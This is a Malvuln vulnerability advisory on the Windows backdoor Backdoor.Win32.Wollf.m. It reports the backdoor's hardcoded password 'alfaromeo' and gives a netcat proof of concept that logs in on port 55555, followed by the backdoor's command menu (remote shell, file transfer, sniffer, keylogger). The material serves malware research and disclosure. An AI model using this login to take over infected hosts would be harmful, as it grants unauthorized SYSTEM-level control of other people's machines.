Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/b125a9a083447ad7d437e3e7f3ed5325.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Wollf.m
Vulnerability: Weak Hardcoded Password
Description: The malware listens on TCP port 55555 and runs with SYSTEM integrity. Authentication is required for remote user access. However, the password "alfaromeo" is weak and hardcoded within the executable and appears many times in a database of leaked passwords.
Type: PE32
MD5: b125a9a083447ad7d437e3e7f3ed5325
Vuln ID: MVID-2021-0435
Dropped files: wrm.exe
Disclosure: 12/31/2021 

Exploit/PoC:
nc64.exe x.x.x.x 55555

login: alfaromeo

Login succeed!

"Wollf Remote Manager" v1.6
Code by wollf, http://www.xfocus.org

[DESKTOP-2C3IQHO@C:\WINDOWS\system32]#help

DOS                  Switch to MS-DOS prompt
DIR/LS/LIST          Directory and file list
CD                   Entry directory
MD/MKDIR             Make directory
PWD                  Get current dirctory
COPY/CP              Copy file
DEL/RM               Delete directory/file
REN/RENAME           Rename file
MOVE/MV              Move file
TYPE/CAT             Type text file

POPMSG               Popup message box
SYSINFO              Get system information
WHO/W                Get current connections

SHELL                Execute command by system shell(cmd.exe)
EXEC/RUN             Execute file by windows API(WinExec)
WS                   Windows list
PS                   Process list
KILL                 Kill process

GET/GETFILE          Download file from remote machine
PUT/PUTFILE          Upload file to remote machine
WGET                 Get file from web server
FGET                 Get file from ftp server
FPUT                 Put file to ftp server
TELNET               Connect to other host

FTPD                 Start ftp service
TELNETD/TELD/EXPORT  Start telnet service (export shell)

REDIR                Redirect tcp data from <Port> to <Dest_host:Dest_port>
REDIR_STOP           Stop redirect tcp data
SNIFF                Sniff ftp/smtp/pop3/http password what via ethernet
SNIFF_STOP           Stop ethernet sniffer
KEYLOG               Start keyboard record
KEYLOG_STOP          Stop keyboard record

REBOOT               Reboot windows
SHUTDOWN             Shutdown windows
EXIT                 Close current connection
QUIT                 Close all connection and abort service
REMOVE               Remove service
VER/VERSION          Version information
HELP/H/?             Show help message

Type "HELP | MORE" for multipage display.

Command "HELP" succeed.

[DESKTOP-2C3IQHO@C:\WINDOWS\system32]#


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